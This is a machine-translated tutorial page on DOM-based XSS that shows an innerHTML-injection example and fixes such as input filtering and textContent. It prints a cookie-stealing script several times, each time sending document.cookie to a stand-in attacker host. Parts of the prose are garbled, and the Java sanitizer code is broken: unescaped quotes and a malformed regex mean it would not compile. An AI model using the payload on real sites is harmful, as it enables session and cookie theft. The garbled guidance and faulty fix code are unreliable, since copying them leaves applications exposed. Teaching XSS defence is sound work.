DOM XSS attacks in Java and how to fix them-javaTutorial-php.cn

DOM XSS attacks in Java and how to fix them

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Release： 2023-08-08 12:04:45

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Java中的DOM XSS攻击及其修复方法

DOM XSS attacks in Java and their repair methods

Introduction:
With the rapid development of the Internet, the development of Web applications is becoming more and more common. However, the security issues that come with it are always concerning developers. One of them is DOM XSS attack. DOM XSS attack is a way to implement cross-site scripting attack by manipulating the "Document Object Model" (DOM) of the web page. This article will introduce the definition, harm and how to repair DOM XSS attacks.

1. The definition and harm of DOM XSS attack:
DOM XSS attack is a cross-site scripting attack that exploits the interaction between client JavaScript code and DOM. Attackers can modify web page content and execute malicious JavaScript code by manipulating the DOM, and these codes are executed in the user's browser, so they are very harmful.

DOM Privacy breach.

Hijacking user sessions: Attackers can modify the DOM, hijack user sessions, and cause users to perform unwanted operations, such as transferring money, making inappropriate remarks, etc.
2. Example of DOM XSS attack:

Suppose there is a web page where users can enter personal information and it will be displayed on the web page. The following is a code example:

<!DOCTYPE html>
<html>
<head>
    <title>DOM XSS Attack Example</title>
</head>
<body>
    <h1>Personal Information</h1>
    <div id="info"></div>
    <script>
        var input = "<script>alert('You have been hacked.');</script>";
        document.getElementById("info").innerHTML = input;
    </script> 
</body>
</html>

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In the above code, any content entered by the user will be inserted directly into the web page DOM without any filtering and validation. This provides an opportunity for attackers to conduct DOM XSS attacks.

The attacker can construct a malicious input, for example:

<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>

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This malicious input injects a script to steal the user's cookie information and send it to the attacker's server.

When a user accesses this web page with malicious input, the script is executed and the user's cookie information is stolen.

3. Repair methods for DOM XSS attacks:

In order to prevent DOM XSS attacks, developers can adopt the following repair methods:

Input filtering and verification: for users Input content is filtered and verified to ensure that only legal input is accepted. You can use specific input validation functions, such as Java regular expressions, to filter out some dangerous characters, HTML tags, JavaScript codes, etc.

The following is a sample code:

public static String sanitizeInput(String input) {
    // 过滤掉危险字符、HTML标签和JavaScript代码
    return input.replaceAll("[<>"'&]", "");
}

String input = "<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>";
String sanitizedInput = sanitizeInput(input);

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Filtering user input by calling the sanitizeInput() method can prevent malicious script injection.

Use safe API: When using API, try to use safe API, such as using

textContent

innerHTML, setAttribute()AlternativeinnerHTML etc. to reduce the possibility of attacks. The following is sample code:

var input = "<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>";
document.getElementById("info").textContent = input;

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textContent

innerHTML to avoid script injection. Use a secure framework: Use some widely verified security frameworks, such as ESAPI (Enterprise Security API), Spring Security, etc. These frameworks provide developers with various security features, including input filtering, output encoding, session management, etc., to help prevent DOM XSS attacks.

Summary:

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